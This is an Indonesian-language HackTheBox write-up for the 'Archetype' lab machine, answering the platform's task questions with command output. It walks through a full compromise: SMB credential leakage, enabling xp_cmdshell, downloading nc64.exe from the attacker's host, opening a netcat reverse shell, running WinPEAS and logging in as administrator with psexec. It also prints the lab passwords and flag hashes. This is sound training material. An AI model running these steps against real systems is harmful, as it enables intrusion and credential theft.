

Archetype HTB Write-up

Pertanyaan 1:

Which TCP port is hosting a database server?

Jawaban:

1433

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLSHELL/CTF/HTB/machines/Archetype]
$ nmap -p- -sV --min-rate 5000 10.129.166.89
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-19 22:33 +0700
Warning: 10.129.166.89 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.166.89
Host is up (0.50s latency).
Not shown: 46082 closed tcp ports (reset), 19442 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp    open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000
5985/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp  open  msrpc        Microsoft Windows RPC
49665/tcp  open  msrpc        Microsoft Windows RPC
49667/tcp  open  msrpc        Microsoft Windows RPC
49668/tcp  open  msrpc        Microsoft Windows RPC
49669/tcp  open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.48 seconds
```

Dari hasil scan nmap, terlihat ada Microsoft SQL Server.

Pertanyaan 2:

What is the name of the non-Administrative share available over SMB?

Jawaban:

backups

Mengacu pada hasil scan nmap sebelumnya, diport 5985 jika kita melihat isi dari smb dengan perintah:

smbclient -L //10.129.168.111/ -N

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLSHELL/CTF/HTB/machines]
$ smbclient -L //10.129.168.111/ -N

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
backups        Disk
C$             Disk      Default share
IPC$           IPC       Remote IPC

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.168.111 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Kita bisa dapat melihat si “non-Administrative share” yaitu backups.

Pertanyaan 3:

What is the password identified in the file on the SMB share?

Jawaban:

M3g4c0rp123

Setelah kita melihat share folder backups, kita bisa masuk kesana menggunakan perintah:

smbclient //10.129.168.111/backups -N

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS/CTF/HTB/machines]
$ smbclient //10.129.168.111/backups -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0 Mon Jan 20 19:20:57 2020
..               D           0 Mon Jan 20 19:20:57 2020
prod.dtsConfig   AR        609 Mon Jan 20 19:23:02 2020

5056511 blocks of size 4096. 2611323 blocks available
smb: \>
```

Setelah masuk dan mengetikkan ls, kita dapat melihat adanya file prod.dtsConfig. prod.dtsConfig adalah file pengaturan atau konfigurasi yang biasa digunakan dalam sistem Microsoft SQL Server (sering disebut SSIS). File ini berfungsi untuk menyimpan informasi penting seperti alamat *database*, nama pengguna (*username*), dan kata sandi (*password*) agar program bisa berjalan secara otomatis.

Coba kita lihat isinya dengan perintah more.

```
<DTSConfiguration>
  <DTSConfigurationHeading>
    <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
  </DTSConfigurationHeading>
  <Configuration ConfiguredType="Property" Path=""\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
    <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;<
  /ConfiguredValue>
</Configuration>
</DTSConfiguration>
/tmp/smbmore.honzrk (END)
```

BOOOM!!! Kita mendapat jackpot berupa Password=M3g4c0rp123 dan User ID=ARCHETYPE\sql_svc

Pertanyaan 4:

What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

Jawaban:

mssqlclient.py

Simplenya, **mssqlclient.py** bertindak sebagai *client* (seperti SQL Server Management Studio, tapi versi baris perintah) yang memungkinkan kamu masuk ke dalam SQL Server tersebut dengan username dan password yang sudah kita dapat sebelumnya.

```
python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.168.111 -windows-auth
```

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER_SECURITY/WSL-TOOLS/CTF/HTB/machines/Archetype]
$ python3 mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.168.111 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc dbo@master)> |
```

Pertanyaan 5:

What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

Jawaban:

xp_cmdshell

Secara sederhana, **xp_cmdshell** adalah sebuah fitur "pintu belakang" resmi di dalam Microsoft SQL Server yang memungkinkan kamu **menjalankan perintah Windows (CMD)** langsung melalui query SQL.

Bayangkan kamu sedang membuka aplikasi database, tapi kamu bisa mengetikkan perintah untuk membuat file, menghapus folder, atau melihat daftar user di Windows lewat aplikasi tersebut.

Pertanyaan 6:

What script can be used in order to search possible paths to escalate privileges on Windows hosts?

Jawaban:

Winpeas

WinPEAS (Windows Privilege Escalation Awesome Scripts) adalah sebuah alat otomatisasi keamanan (skrip) yang dirancang untuk mencari **celah keamanan lokal** pada sistem Windows agar pengguna bisa **menaikkan hak akses** mereka (privilege escalation).

Pertanyaan 7:

What file contains the administrator's password?

Jawaban:

ConsoleHost_history.txt

```
SQL (ARCHETYPE\sql_svc dbo@master)> SELECT is_srvrolemember('sysadmin');  
-  
1
```

Setelah masuk ke server, dan saya cek privilegesnya ternyata akun ARCHETYPE\sql_svc punya privilege tertinggi di SQL Server.

Itu artinya kita bisa mengaktifkan xp_cmdshell supaya bisa mengeksekusi command disql server.

Jalankan ini satu per satu:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

```
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC sp_configure 'show advanced options', 1;  
INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.  
SQL (ARCHETYPE\sql_svc dbo@master)> RECONFIGURE  
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;  
INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.  
SQL (ARCHETYPE\sql_svc dbo@master)> RECONFIGURE  
SQL (ARCHETYPE\sql_svc dbo@master)>
```

Lalu kita test dengan:

EXEC xp_cmdshell 'whoami';

```
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC xp_cmdshell 'whoami';  
output  
-----  
archetype\sql_svc  
NULL  
SQL (ARCHETYPE\sql_svc dbo@master)>
```

BOOM!! Berhasil mengeksekusi perintah

Sekarang kita akan mencoba untuk mendapatkan reverse shell. Kita akan mengupload nc64.exe kedalam mesin dan mengeksekusi proses cmd.exe lalu melisten nya.

Sebelum itu kita harus tau dimana working direktori kita saat ini dengan perintah:

EXEC xp_cmdshell 'powershell -c pwd';

```
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC xp_cmdshell 'powershell -c pwd';
output
-----
NULL
Path
----
C:\Windows\system32
NULL
NULL
NULL
SQL (ARCHETYPE\sql_svc dbo@master)> █
```

Hasilnya kita tidak dapat melihat dimana kita saat ini karena kita belum memiliki cukup privileges di user *ARCHETYPE\sql_svc* hanya administrator yang dapat melakukannya, tetapi kita bisa mengubah direktori saat ini ke download dengan perintah:

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.53/nc64.exe -outfile nc64.exe

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS/CTF/HTB/machines/Archetype]
$ sudo python3 -m http.server 80
[sudo] password for kiel-LOQ:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [20/May/2026 20:35:50] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [20/May/2026 20:35:50] code 404, message File not found
127.0.0.1 - - [20/May/2026 20:35:50] "GET /favicon.ico HTTP/1.1" 404 -
10.129.168.111 - - [20/May/2026 20:41:59] "GET /nc64.exe HTTP/1.1" 200 -
10.129.168.111 - - [20/May/2026 20:42:21] "GET /nc64.exe HTTP/1.1" 200 -
█
```

Setelah itu kita harus pancing cmd.exe ke listener kita.

```
-----
NULL
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC xp_cmdshell 'powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.16.53 443';
█
```

Lalu kita lihat di nc

```
(kiel-LOQ@ELELEL)-[/mnt/c/Users/glenw/BELAJAR/CYBER SECURITY/WSL-TOOLS/CTF/HTB/machines/Archetype]
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.53] from (UNKNOWN) [10.129.168.111] 49678
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\sql_svc\Downloads> █
```

Kita berhasil mendapatkannya.

```

C:\Users\sql_svc\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9565-0B4F

Directory of C:\Users\sql_svc\Downloads

05/20/2026  06:41 AM    <DIR>          .
05/20/2026  06:41 AM    <DIR>          ..
05/20/2026  06:42 AM                45,272 nc64.exe
               1 File(s)                45,272 bytes
               2 Dir(s)  10,722,344,960 bytes free

```

Dan setelah beberapa saat saya enumerasi, flag user ada di :

```

C:\Users\sql_svc\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9565-0B4F

Directory of C:\Users\sql_svc\Desktop

01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:37 AM                32 user.txt
               1 File(s)                32 bytes
               2 Dir(s)  10,722,344,960 bytes free

C:\Users\sql_svc\Desktop>more user.txt
more user.txt
3e7b102e78218e935bf3f4951fec21a3

```

Lalu untuk mendapatkan flag root kita perlu menggunakan WinPEAS.

Pertama kita buka powershell dengan command:

powershell

Lalu kita wget file winpeasnya

wget http://10.10.16.53/winPEASx64.exe -outfile winPEASx64.exe

```
PS C:\Users\sql_svc\Downloads> wget http://10.10.16.53/winPEASx64.exe -outf
wget http://10.10.16.53/winPEASx64.exe -outfile winPEASx64.exe
PS C:\Users\sql_svc\Downloads> dir
dir
```

Directory: C:\Users\sql_svc\Downloads

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	5/20/2026 6:42 AM	45272	nc64.exe
-a----	5/20/2026 6:57 AM	11131904	winPEASx64.exe

Setelah terupload, kita jalankan.

.\winPEASx64.exe

Setelah file ini dieksekusi, akan ada banyak output. Pada intinya saya melihat satu hal yang menarik yaitu:

```
***** Analyzing Windows Files Files (limit 70)
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_his
tory.txt
C:\Users\Default\NTUSER.DAT
C:\Users\sql_svc\NTUSER.DAT

***** Analyzing Other Windows Files Files (limit 70)

***** Analyzing Windows Files Files (limit 70)
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_his
tory.txt
C:\Users\Default\NTUSER.DAT
C:\Users\sql_svc\NTUSER.DAT

***** Analyzing Other Windows Files Files (limit 70)
```

Kita menemukan file unik, coba kita kesana

```
PS C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> more ConsoleHost_history.txt
more ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
```

Dan yap, kita menemukan username dan sandi untuk masuk ke administrator.

Kita bisa connect dengan file psexec.py dari impacket lalu masuk dengan perintah:

```
python3 psexec.py administrator@10.129.168.111
```

Lalu setelah saya langsung ke C:\Users\Administrator\Desktop> dan menemukan flagnya.

```
C:\Users\Administrator\Desktop> more root.txt  
b91ccec3305e98240082d4474b848528
```